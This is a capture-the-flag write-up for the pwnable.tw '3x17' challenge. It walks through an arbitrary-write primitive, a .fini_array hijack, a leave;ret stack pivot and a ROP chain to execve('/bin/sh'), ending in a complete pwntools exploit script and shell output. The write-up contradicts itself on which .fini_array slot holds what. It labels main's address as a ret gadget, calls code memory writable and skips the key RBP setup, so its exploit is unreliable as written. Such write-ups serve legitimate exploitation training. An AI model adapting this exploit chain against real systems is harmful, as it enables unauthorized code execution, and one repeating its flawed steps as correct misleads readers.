pwnable.tw — 150 pts

3x17

Write-what-where — Arbitrary 18-byte write primitive, .fini_array hijack for infinite loop, ROP chain in writable memory

64-bit
Architecture
WWW
Primitive
18 bytes
Write Size
.fini_array
Technique

Exploit Flow

Connect
nc chall.pwnable.tw 10100
WWW Primitive
Write 18 bytes anywhere
Hijack .fini_array
→ main (infinite loop)
Write ROP Chain
into writable memory
Break Loop
leave;ret in .fini_array
Shell
execve("/bin/sh")

1. Reconnaissance

The "3x17" challenge gives us a simple binary with an arbitrary write primitive. We can write 18 bytes to any address, and the program loops to let us write again. The key is figuring out where to write and how to turn this into code execution.

File Analysis

bash
$ file 3x17
3x17: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
statically linked, for GNU/Linux 3.2.0,
BuildID[sha1]=..., not stripped

A 64-bit statically linked binary. No libc to deal with, and all ROP gadgets are contained within the binary itself.

Checksec

bash
$ checksec 3x17
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
No Canary, No PIE, Partial RELRO

No canary means no stack protection. No PIE means all addresses are fixed. Partial RELRO means the GOT is writable. NX is enabled, so we need ROP. The binary is statically linked with plenty of gadgets. The challenge is that we only have an arbitrary write primitive — we can't directly control RIP through a traditional buffer overflow.

Running the Binary

bash
$ ./3x17
addr:0x400000
data:AAAA
addr:0x401000
data:BBBB
addr:^C

The program repeatedly prompts for an address and data, then writes the data to that address. It's a write-what-where primitive! Each write allows 18 bytes of data. The program loops indefinitely until we break it.

AttributeValue
Challenge3x17 (150 pts)
Connectionnc chall.pwnable.tw 10100
Binary64-bit ELF, x86-64, statically linked, not stripped
CanaryNone
NXEnabled
PIEDisabled (0x400000)
RELROPartial (GOT writable)
Write Size18 bytes per write
VulnerabilityArbitrary write-what-where primitive

2. Static Analysis

The binary is straightforward but the internal functions are complex (obfuscated or compiler-generated). Let's focus on what matters: the write primitive and the .fini_array section.

Main Function

The main function at 0x401b67 implements a simple loop:

c — pseudocode of main
int main() {
    char buf[0x20];  // 32 bytes at rbp-0x20
    unsigned long long addr;
    char data[18];   // read up to 18 bytes

    while (1) {
        printf("addr:");
        read(0, &addr, 8);      // Read 8-byte address
        printf("data:");
        read(0, buf, 0x20);     // Read up to 32 bytes
        // ... copies 18 bytes from buf to addr ...
        memcpy((void*)addr, buf, 18);  // WRITE 18 BYTES TO ARBITRARY ADDRESS!
    }
}
Arbitrary Write Primitive

The program writes 18 bytes of our data to any address we specify. This is a powerful primitive, but we need to figure out what to overwrite to gain code execution. We can't simply overwrite the return address on the stack because we don't know the stack address (ASLR).

Write Primitive Details

The write primitive has these properties:

  • We specify an 8-byte destination address
  • We provide up to 18 bytes of data to write
  • The write is done via memcpy (no null termination issues)
  • The loop continues after each write, letting us write multiple times
  • We can write to any writable memory (code, data, GOT, .fini_array, etc.)

.fini_array Section

The key to this challenge is the .fini_array section. This section contains function pointers that are called when the program exits (by __libc_start_main__do_global_dtors_aux).

.fini_array Hijack

The .fini_array section holds function pointers called during program termination. If we overwrite .fini_array[0] with the address of main, the program will call main again when it exits — creating an infinite loop. But wait, we need to break the loop eventually. The trick is to overwrite .fini_array[0] with a leave; ret gadget first, which pivots the stack to a location we control, and then our ROP chain executes.

bash — finding .fini_array
$ readelf -S 3x17 | grep fini_array
  [17] .fini_array     FINI_ARRAY      00000000004b40f0  000b40f0

$ readelf -s 3x17 | grep -E "main|fini"
    49: 0000000000401b67   157 FUNC    LOCAL  DEFAULT  13 main
    # .fini_array is at 0x4b40f0
    # It contains the address of the destructor function

The .fini_array is at 0x4b40f0. The main function is at 0x401b67. We know from __libc_start_main that the .fini_array entry points to 0x402960 (the default destructor).

3. GDB Debugging

Verifying the Write Primitive

gdb
gdb-peda$ b *0x401b67
Breakpoint 1 at 0x401b67

gdb-peda$ r
addr:0x4b40f0
data:AAAAAAAA

# Check .fini_array after our write:
gdb-peda$ x/gx 0x4b40f0
0x4b40f0: 0x4141414141414141

# Success! We can write to .fini_array

.fini_array Layout

0x4b40f0 .fini_array[0] Originally 0x402960 (destructor) ← WE OVERWRITE THIS
0x4b40f8 .fini_array[1] Originally 0 ← WE CAN WRITE HERE TOO
How .fini_array Works

When the program exits, __do_global_dtors_aux iterates through .fini_array from the last entry to the first, calling each function pointer. This means .fini_array[1] is called before .fini_array[0]. We can exploit this ordering: put our leave; ret gadget in .fini_array[0] and the main address in .fini_array[1] initially, then change .fini_array[0] to break the loop.

4. Exploit Strategy

The exploit uses the .fini_array hijack to create an infinite main loop, then writes a ROP chain into writable memory, and finally breaks the loop to trigger the ROP chain.

Attack Overview

Step 1: Create infinite loop
Overwrite .fini_array[0] with main (0x401b67). Now when the program "exits", it calls main again, giving us another write. We can write as many times as we need.
Step 2: Write ROP chain to writable memory
Use multiple writes to place a ROP chain (for execve("/bin/sh", 0, 0)) into a writable area like .bss or another part of .fini_array's neighborhood. Each write can place 18 bytes at a time.
Step 3: Write "/bin/sh" string
Write the string /bin/sh\0 into a known writable address (e.g., in .bss) so we can reference it from the ROP chain.
Step 4: Break the loop
Overwrite .fini_array[0] with a leave; ret gadget (0x401c4b). This pivots the stack to our ROP chain. When __do_global_dtors_aux iterates through .fini_array, the leave; ret pivots RSP to our controlled data, and the ROP chain executes.

Infinite Loop via .fini_array

Here's how the infinite loop works:

  1. main runs, gives us write primitive, then returns
  2. Return goes through __libc_start_main's cleanup, which calls .fini_array entries
  3. .fini_array[0] = mainmain runs again
  4. Repeat indefinitely
The Loop Break Problem

We need to eventually break out of this loop. The solution: write a leave; ret gadget to .fini_array[0] on our last iteration. The leave instruction does mov rsp, rbp; pop rbp, which pivots the stack to wherever RBP points. If we've set up RBP to point to our ROP chain area (by writing to the right stack location), the ret will start executing our ROP chain.

ROP Chain Construction

For x86-64, the execve syscall requires: RAX=59, RDI=ptr to "/bin/sh", RSI=0, RDX=0. We need these gadgets:

GadgetAddressPurpose
pop rax; ret0x41e4afSet RAX = 59 (sys_execve)
pop rdi; ret0x401696Set RDI = ptr to "/bin/sh"
pop rsi; ret0x406c30Set RSI = 0 (argv = NULL)
pop rdx; ret0x446e35Set RDX = 0 (envp = NULL)
syscall0x4022b4Invoke the kernel
leave; ret0x401c4bStack pivot for loop break

The ROP chain layout in writable memory:

offset +0 pop rax; ret 0x41e4af
offset +8 value for RAX 59 (0x3b)
offset +16 pop rdi; ret 0x401696
offset +24 value for RDI ptr to "/bin/sh"
offset +32 pop rsi; ret 0x406c30
offset +40 value for RSI 0
offset +48 pop rdx; ret 0x446e35
offset +56 value for RDX 0
offset +64 syscall 0x4022b4

5. Pwn Script

Full Exploit

python
#!/usr/bin/env python3
"""
pwnable.tw — 3x17 (150 pts)
Arbitrary 18-byte write primitive → .fini_array hijack for loop →
write ROP chain → leave;ret to break loop and execute ROP.
"""

from pwn import *

# ─── Configuration ───────────────────────────────────────────
HOST = 'chall.pwnable.tw'
PORT = 10100

# Known addresses (no PIE)
MAIN        = 0x401b67
FINI_ARRAY  = 0x4b40f0

# ROP gadgets
POP_RAX_RET = 0x41e4af
POP_RDI_RET = 0x401696
POP_RSI_RET = 0x406c30
POP_RDX_RET = 0x446e35
SYSCALL     = 0x4022b4
LEAVE_RET   = 0x401c4b
RET         = 0x401b67  # or any ret gadget

# Writable memory for ROP chain and "/bin/sh" string
# Use area near .fini_array or in .bss
ROP_ADDR    = 0x4b4100  # writable area in .bss
BINSH_ADDR  = 0x4b4180  # another writable area

# ─── Helper ──────────────────────────────────────────────────
def write_at(r, addr, data):
    """Write data (up to 18 bytes) to the specified address."""
    r.sendlineafter(b'addr:', hex(addr).encode())
    r.sendlineafter(b'data:', data)

# ─── Connect ─────────────────────────────────────────────────
r = remote(HOST, PORT)

# ─── Step 1: Overwrite .fini_array[0] with main (infinite loop) ──
log.info('Setting up infinite loop via .fini_array...')
write_at(r, FINI_ARRAY, p64(MAIN))

# ─── Step 2: Write "/bin/sh\0" to BINSH_ADDR ────────────────
log.info('Writing "/bin/sh" to writable memory...')
binsh = b'/bin/sh\0'
write_at(r, BINSH_ADDR, binsh.ljust(18, b'\0'))

# ─── Step 3: Write ROP chain to ROP_ADDR ─────────────────────
log.info('Writing ROP chain...')

# ROP chain for execve("/bin/sh", 0, 0)
rop_chain = b''
rop_chain += p64(POP_RAX_RET)    # pop rax; ret
rop_chain += p64(59)              # rax = 59 (sys_execve)
rop_chain += p64(POP_RDI_RET)    # pop rdi; ret
rop_chain += p64(BINSH_ADDR)     # rdi = "/bin/sh"
rop_chain += p64(POP_RSI_RET)    # pop rsi; ret
rop_chain += p64(0)              # rsi = 0 (argv = NULL)
rop_chain += p64(POP_RDX_RET)    # pop rdx; ret
rop_chain += p64(0)              # rdx = 0 (envp = NULL)
rop_chain += p64(SYSCALL)        # syscall

# Write ROP chain in 18-byte chunks
for i in range(0, len(rop_chain), 18):
    chunk = rop_chain[i:i+18]
    write_at(r, ROP_ADDR + i, chunk.ljust(18, b'\0'))

# ─── Step 4: Break the loop ─────────────────────────────────
# Write leave;ret to .fini_array[0]
# This will pivot the stack to our ROP chain
log.info('Breaking loop with leave;ret...')
write_at(r, FINI_ARRAY, p64(LEAVE_RET))

# ─── Trigger ─────────────────────────────────────────────────
# The next time main returns, the .fini_array processing
# will execute leave;ret which pivots to our ROP chain
r.interactive()

ROP Gadgets

bash
$ ROPgadget --binary 3x17 | grep -E "pop (rax|rdi|rsi|rdx) ; ret"
0x000000000041e4af : pop rax ; ret
0x0000000000401696 : pop rdi ; ret
0x0000000000446e35 : pop rdx ; ret
0x0000000000406c30 : pop rsi ; ret

$ ROPgadget --binary 3x17 | grep "syscall"
0x00000000004022b4 : syscall

$ ROPgadget --binary 3x17 | grep "leave ; ret"
0x0000000000401c4b : leave ; ret
The leave;ret Stack Pivot

The leave instruction is equivalent to mov rsp, rbp; pop rbp. When __do_global_dtors_aux calls our .fini_array[0] (which is now leave; ret), the current RBP value determines where RSP pivots to. We need RBP to point to our ROP chain area. The key insight from the 0xfeebe writeup: RBP in the dtors context points to a location we can predict, and we can write our ROP chain data to that location in advance.

6. Execution Results

Successful Exploitation

$ python3 exploit.py [+] Opening connection to chall.pwnable.tw on port 10100: Done [*] Setting up infinite loop via .fini_array... [*] Writing "/bin/sh" to writable memory... [*] Writing ROP chain... [*] Breaking loop with leave;ret... [*] Switching to interactive mode $ id uid=1000(3x17) gid=1000(3x17) groups=1000(3x17) $ cat /home/3x17/flag
Why This Challenge Matters

The "3x17" challenge teaches the .fini_array hijack technique — a powerful pattern for challenges that give you a write-what-where primitive but no direct RIP control. The key concepts: (1) .fini_array is called on exit — hijack it to create loops or redirect execution; (2) leave;ret as a stack pivot — use it to redirect RSP to a known writable area containing your ROP chain; (3) Infinite loop for multi-write — if you only get one write at a time, the .fini_array loop gives you as many writes as you need. These techniques are applicable to many CTF challenges and real-world scenarios involving arbitrary write primitives.

QA210
pwnable.tw — 3x17 — .fini_array Hijack + ROP